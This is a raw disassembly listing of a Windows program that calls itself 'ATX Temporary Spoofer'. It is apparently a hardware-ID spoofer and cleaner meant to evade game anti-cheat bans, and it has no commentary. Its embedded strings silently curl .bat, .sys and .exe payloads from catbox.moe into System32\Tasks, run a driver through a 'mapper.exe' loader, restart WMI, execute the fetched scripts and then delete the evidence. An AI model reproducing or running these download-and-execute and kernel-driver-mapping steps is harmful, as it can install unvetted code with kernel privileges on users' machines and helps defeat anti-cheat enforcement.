mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400468fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400478f4
call fcn.1400b47a0
mov r9d, Ordinal_41
lea r8, str.ATX__Temporary_Spoofer
lea rdx, str.Are_you_sure_you_want_to_spoof_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x1400478fb
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, Ordinal_32
lea rdx, str.Launched_Permanent_Spoofing_
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
movss xmm1, dword [0x1400d0bbc]
unpcklps xmm0, xmm1
movq r8, xmm0
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x1400469bc
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400469b7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400478f4
call fcn.1400b47a0
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, reloc.WLDAP32.dll_Ordinal_33
lea rdx, str.Please_be_patient_while_we_spoof.
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
unpcklps xmm0, xmm13
movq r8, xmm0
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140046a4b
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046a46
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400478f4
call fcn.1400b47a0
lea rcx, str.curl___silent_https:__files.catbox.moe_8o2zsu.bat___output_C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_pzfx2g.sys___output_C:WindowsSystem32Tasks_temp1.sys__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_wvsaqx.bin___output_C:WindowsSystem32Tasksmapper.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe_C:WindowsSystem32Tasks_temp1.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_start_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_stop_winmgmt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.sc_start_winmgmt
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.ipconfig__flushdns
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Tasksmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasks_temp1.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:WindowsSystem32Tasksmac.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
movss xmm6, dword [0x1401873b8]
cmp dword [0x1401888dc], 3
jne 0x140046e27
mov rbx, qword [0x140188720]
movss xmm1, dword [rbx + 0x18]
mulss xmm1, xmm15
movaps xmm0, xmm10
subss xmm0, xmm6
mulss xmm0, xmm1
addss xmm6, xmm0
movss dword [0x1401873b8], xmm6
addss xmm6, xmm10
movss xmm7, dword [0x1401888ac]
mov dword [rbp + 0xe0], Ordinal_45
movups xmm0, xmmword [rbx + 0x3c4c]
movups xmmword [rbp + 0xe4], xmm0
lea rcx, [rbx + 0x4a78]
lea rdx, [rbp + 0xe0]
call fcn.14001c870
cmp dword [rbx + 0x4a74], 0x28
je 0x140046b99
movups xmm0, xmmword [0x140188930]
movups xmmword [rbx + 0x3c4c], xmm0
mov rax, qword [0x140188720]
movdqa xmm0, xmmword [0x1400d0e90]
movups xmmword [rbp + 0x1f0], xmm0
movss xmm0, dword [rax + 0x38e8]
mulss xmm0, dword [0x1400d0b1c]
movss dword [rbp + 0x1fc], xmm0
lea rcx, [rbp + 0x1f0]
call fcn.140004740
mov edx, eax
call fcn.140004c30
mov qword [rbp + 0x18], 0
lea rdx, [rbp + 0x18]
mov ecx, ntohl
call fcn.140004cf0
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
movss xmm2, dword [rax + 0x2c]
subss xmm2, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
addss xmm2, xmm6
addss xmm1, dword [0x1400d0c18]
movss dword [rax + 0x110], xmm1
movss dword [rax + 0x114], xmm2
mov byte [rax + 0x151], 1
mov dword [rbp + 0x20], 0x43480000
mov dword [rbp + 0x24], 0x41200000
lea rdx, [rbp + 0x20]
movaps xmm0, xmm7
call fcn.140034ee0
mov ecx, edi
call fcn.140004d80
movups xmm7, xmmword [0x140188930]
mov rdi, qword [0x140188738]
movss xmm8, dword [0x1401873b8]
addss xmm8, dword [0x1400d0be0]
mov rbx, qword [0x140188720]
mov qword [rsp + 0x30], r13
lea rax, str.LOADING
mov qword [rsp + 0x28], rax
movss xmm0, dword [0x1400d0c7c]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1400d0c6c]
movss xmm2, dword [rbx + 0x3d38]
lea rdx, [rbp + 0x28]
mov rcx, qword [rbx + 0x3d30]
call fcn.14002c530
movss xmm0, dword [rbp + 0x28]
addss xmm0, dword [0x1400d0b4c]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x28], xmm1
mov rax, qword [rbx + 0x4000]
movss xmm6, dword [rax + 0x30]
subss xmm6, xmm1
mulss xmm6, dword [0x1400d0b0c]
mov rcx, rdi
call fcn.140011210
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
mov r8, qword [rax + 0x2a8]
movss dword [rsp + 0x70], xmm7
movaps xmm0, xmm7
shufps xmm0, xmm7, 0x55
movss dword [rsp + 0x74], xmm0
movaps xmm1, xmm7
shufps xmm1, xmm7, 0xaa
movss dword [rsp + 0x78], xmm1
shufps xmm7, xmm7, 0xff
mulss xmm7, dword [rcx + 0x38e8]
movss dword [rsp + 0x7c], xmm7
lea rcx, [rsp + 0x70]
call fcn.140004740
movss dword [rbp - 0x38], xmm6
movss dword [rbp - 0x34], xmm8
test eax, 0xff000000
je 0x140046de5
test rdi, rdi
jne 0x140046d8b
mov rcx, qword [r8 + 0x38]
mov rdi, qword [rcx + 8]
movups xmm0, xmmword [r8 + 0x88]
movups xmmword [rbp + 0xe0], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm9
lea rcx, [0x1400d04ff]
mov qword [rsp + 0x38], rcx
lea rcx, str.LOADING
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0xe0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], eax
lea r9, [rbp - 0x38]
movss xmm2, dword [0x1400d0bac]
mov rdx, r8
mov rcx, rdi
call fcn.14002c750
call fcn.1400112b0
movss xmm0, dword [0x1401888ac]
movss xmm1, dword [0x1400d0b54]
mov edi, 1
comiss xmm1, xmm0
jb 0x140046e1d
cvtps2pd xmm0, xmm0
addsd xmm0, qword [0x1400d0b30]
cvtpd2ps xmm0, xmm0
movss dword [0x1401888ac], xmm0
jmp 0x140046e27
mov dword [0x1401888dc], 2
movss xmm6, dword [0x1400d0c30]
cmp dword [0x14018887c], 1
jne 0x14004719a
movaps xmm0, xmm12
unpcklps xmm0, xmm6
movq r8, xmm0
movaps xmm1, xmm10
unpcklps xmm1, xmm11
movq rdx, xmm1
call fcn.14003e550
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
cmp byte [rax + 0xc3], 0
jne 0x140046e98
mov qword [rbp - 0x30], 0
movss xmm1, dword [0x1400d0c7c]
lea rcx, [rbp - 0x30]
call fcn.1400146d0
call fcn.14003eb70
call fcn.14000b7f0
movss xmm2, dword [r14 + 0x2c]
addss xmm2, dword [0x1400d0c34]
movss xmm1, dword [r14 + 0x28]
addss xmm1, xmm10
movss dword [rsp + 0x20], xmm13
movaps xmm3, xmm12
lea rcx, str.TOURNEY_CLEAN
call fcn.14003ca30
test al, al
je 0x140046f6c
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, Ordinal_32
lea rdx, str.This_feature_will_be_added_soon
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
unpcklps xmm0, xmm14
movq r8, xmm0
mov edx, 2
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140046f6c
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140046f67
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047904
call fcn.1400b47a0
movss xmm2, dword [r14 + 0x2c]
movss xmm7, dword [0x1400d0c3c]
addss xmm2, xmm7
movss xmm1, dword [r14 + 0x28]
addss xmm1, xmm10
movss dword [rsp + 0x20], xmm13
movss xmm8, dword [0x1400d0c1c]
movaps xmm3, xmm8
lea rcx, str.NORMAL_CLEAN
call fcn.14003ca30
test al, al
je 0x140047067
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, reloc.WS2_32.dll_socket
lea rdx, str.Normal_Cleaning_Started
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
unpcklps xmm0, xmm14
movq r8, xmm0
mov edx, edi
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140047040
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004703b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047904
call fcn.1400b47a0
lea rcx, str.curl___silent_https:__files.catbox.moe_y9cisa.sys___output_C:WindowsSystem32Taskscleaner.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Taskscleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Taskscleaner.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movss xmm2, dword [r14 + 0x2c]
addss xmm2, xmm7
movss xmm1, dword [r14 + 0x28]
addss xmm1, xmm10
addss xmm1, dword [0x1400d0c20]
movss dword [rsp + 0x20], xmm13
movaps xmm3, xmm8
lea rcx, str.DEEP_CLEAN
call fcn.14003ca30
test al, al
je 0x14004719a
xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r13
mov qword [rbp + 0xf8], r13
mov r8d, Ordinal_79
lea rdx, str.Deep_Cleaning_Started__if_it_aks_anything_press_on_Y___Ok_Depends_what_u_get
lea rcx, [rbp + 0xe0]
call fcn.1400486c0
nop
movaps xmm0, xmm9
unpcklps xmm0, xmm14
movq r8, xmm0
mov edx, edi
lea rcx, [rbp + 0xe0]
call fcn.14003ea50
nop
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x140047132
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004712d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140047904
call fcn.1400b47a0
lea rcx, str.curl___silent_https:__files.catbox.moe_niandj.bat___output_C:WindowsSystem32Taskscleaner1q.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_c7ecn0.bat___output_C:WindowsSystem32Taskscleaner2.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_k169rm.bat___output_C:WindowsSystem32Taskscleaner3.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_n2gnyp.bat___output_C:WindowsSystem32Taskscleaner4.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Taskscleaner1q.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Taskscleaner2.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Taskscleaner3.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.start_C:WindowsSystem32Taskscleaner4.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp dword [0x14018887c], 2
jne 0x1400475a3
movaps xmm0, xmm12
unpcklps xmm0, xmm6
movq r8, xmm0
movaps xmm1, xmm10
unpcklps xmm1, xmm11
movq rdx, xmm1
call fcn.14003e550
mov rcx, qword [0x140188720]
mov rax, qword [rcx + 0x4000]
mov byte [rax + 0xc0], 1
mov rax, qword [rcx + 0x4000]
cmp byte [rax + 0xc3], 0
jne 0x140047209
mov qword [rbp + 0x200], 0
movss xmm1, dword [0x1400d0c7c]
lea rcx, [rbp + 0x200]
call fcn.1400146d0
call fcn.14003eb70
call fcn.14000b7f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
mov r8d, 5
lea rdx, str.WIFI:
lea rcx, [rbp - 0x80]
call fcn.1400486c0
mov r9b, 1
lea r8, [0x140188ca8]
movss xmm7, dword [0x1400d0bf8]
movaps xmm0, xmm7
unpcklps xmm0, xmm11
movq rdx, xmm0
lea rcx, [rbp - 0x80]
call fcn.14003d500
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
mov r8d, 0xa
lea rdx, str.Bluetooth:
lea rcx, [rbp - 0x80]
call fcn.1400486c0
xor r9d, r9d
lea r8, [0x1401889c0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0bcc]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp - 0x80]
call fcn.14003d500
movups xmm6, xmmword [0x140188840]
lea rdx, [0x1401874a0]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0bd4]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x140187440]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 1
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0bd8]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.MAC_Address:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x140187400]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0be0]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.UUID:
call fcn.14003da80
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], r13
mov r8d, Ordinal_32
lea rdx, str.TPM__Trusted_Computing__Status:
lea rcx, [rbp - 0x80]
call fcn.1400486c0
xor r9d, r9d
lea r8, [0x140188998]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0bec]
unpcklps xmm0, xmm1
movq rdx, xmm0
lea rcx, [rbp - 0x80]
call fcn.14003d500
movups xmm6, xmmword [0x140188840]
lea rdx, [0x140187420]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
unpcklps xmm0, xmm10
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Manufacturer:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x140187480]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0c00]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Model:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x1401873c0]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0c08]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Ethernet_Adapter:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x1401874c0]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0c0c]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Disk_Drives:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x1401873e0]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0c18]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.CPU:
call fcn.14003da80
movups xmm6, xmmword [0x140188840]
lea rdx, [0x140187460]
lea rcx, [rbp - 0x80]
call fcn.14003e190
movdqa xmmword [rbp + 0xe0], xmm6
mov byte [rsp + 0x20], 0
lea r9, [rbp + 0xe0]
movaps xmm0, xmm7
movss xmm1, dword [0x1400d0c24]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Chassis:
call fcn.14003da80
call fcn.140010b50
call fcn.14000acc0
xorps xmm0, xmm0
movups xmmword [rbp + 0x248], xmm0
mov rcx, qword [0x1401888e0]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1401888b0]
mov edx, edi
call qword [rax + 0x108]
mov rcx, qword [0x1401888e0]
mov rax, qword [rcx]
lea r8, [rbp + 0x248]
mov rdx, qword [0x1401888b0]
call qword [rax + 0x190]
mov rax, qword [0x140188720]
mov rax, qword [rax + 0x4b10]
mov rcx, qword [rax]
add rcx, 0x48
mov rax, r13
cmp byte [rcx], r13b
cmovne rax, rcx
mov rcx, rax
call fcn.14002e390
mov rcx, qword [0x1401888b8]
mov rax, qword [rcx]
xor r8d, r8d
mov edx, edi
call qword [rax + 0x40]
jmp 0x140045f00
mov rbx, qword [0x140188720]
test rbx, rbx
je 0x140047644
mov rdi, qword [rbx + 0x98]
jmp 0x140047647
mov rdi, r13
call fcn.14002f340
mov rcx, qword [rdi + 0x10]
test rcx, rcx
je 0x14004765b
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi]
test rcx, rcx
je 0x140047669
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
test rcx, rcx
je 0x140047678
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rbx + 0x88], r13
mov qword [rbx + 0x98], r13
and dword [rbx + 0xc], 0xfffffff7
mov r8, qword [0x140188720]
test r8, r8
je 0x1400476f6
mov r9d, dword [r8 + 0x3f58]
movsx rdx, word [r8 + 0x60f0]
lea rcx, [r8 + 0x60f4]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x1400476eb
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rcx, [r8 + 0x60f4]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x60ec]
mov rdx, qword [0x140188710]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov r8, qword [0x140188720]
test r8, r8
je 0x14004771a
mov rdi, qword [r8 + 0x90]
jmp 0x14004771d
mov rdi, r13
lea rbx, [r8 + 8]
mov rcx, qword [rdi + 0x38]
test rcx, rcx
je 0x140047737
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov r8, qword [0x140188720]
mov qword [rbx + 0x78], r13
mov qword [rbx + 0x88], r13
and dword [rbx + 4], 0xfffffff8
test r8, r8
je 0x1400477ab
mov r9d, dword [r8 + 0x3f58]
movsx rdx, word [r8 + 0x60f0]
lea rcx, [rdx*8 + 0x60f4]
add rcx, r8
cmp dword [rcx], r9d
je 0x1400477a0
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rcx, [rax*8 + 0x60f4]
add rcx, r8
mov dword [rcx], r9d
mov dword [rcx + 4], r13d
inc word [rcx + 6]
inc dword [r8 + 0x60ec]
mov rdx, qword [0x140188710]
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
mov rbx, qword [0x140188720]
mov qword [0x140188720], rbx
call fcn.140006be0
mov qword [0x140188720], r13
test rbx, rbx
je 0x140047861
mov rcx, rbx
call fcn.14001d7a0
mov r8, qword [0x140188720]
test r8, r8
je 0x140047852
mov r9d, dword [r8 + 0x3f58]
movsx r10, word [r8 + 0x60f0]
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + r10*8]
cmp dword [rdx], r9d
je 0x140047847
lea ecx, [r10 + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x60f0], cx
movsx rax, cx
lea rdx, [r8 + 0x60f4]
lea rdx, [rdx + rax*8]
mov dword [rdx], r9d
mov dword [rdx + 4], r13d
inc word [rdx + 6]
inc dword [r8 + 0x60ec]
mov rdx, qword [0x140188710]
mov rcx, rbx
call sub.api_ms_win_crt_heap_l1_1_0.dll_free
call fcn.140047b80
mov rcx, qword [0x140188748]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x1b8]
mov rcx, qword [rbp + 0x1e0]
call qword [sym.imp.USER32.dll_UnregisterClassW]
nop
mov r8, qword [rbp + 0x218]
test r8, r8
je 0x1400478ed
mov rcx, qword [rbp + 0x228]
sub rcx, r8
movabs rax, 0x7878787878787879
imul rcx
sar rdx, 5
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rdx, rdx, 0x44
mov rax, r8
cmp rdx, 0x1000
jb 0x1400478e5
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400478e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, r8
call fcn.1400b47a0
xor eax, eax
jmp 0x1400456bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov ecx, edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r13d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3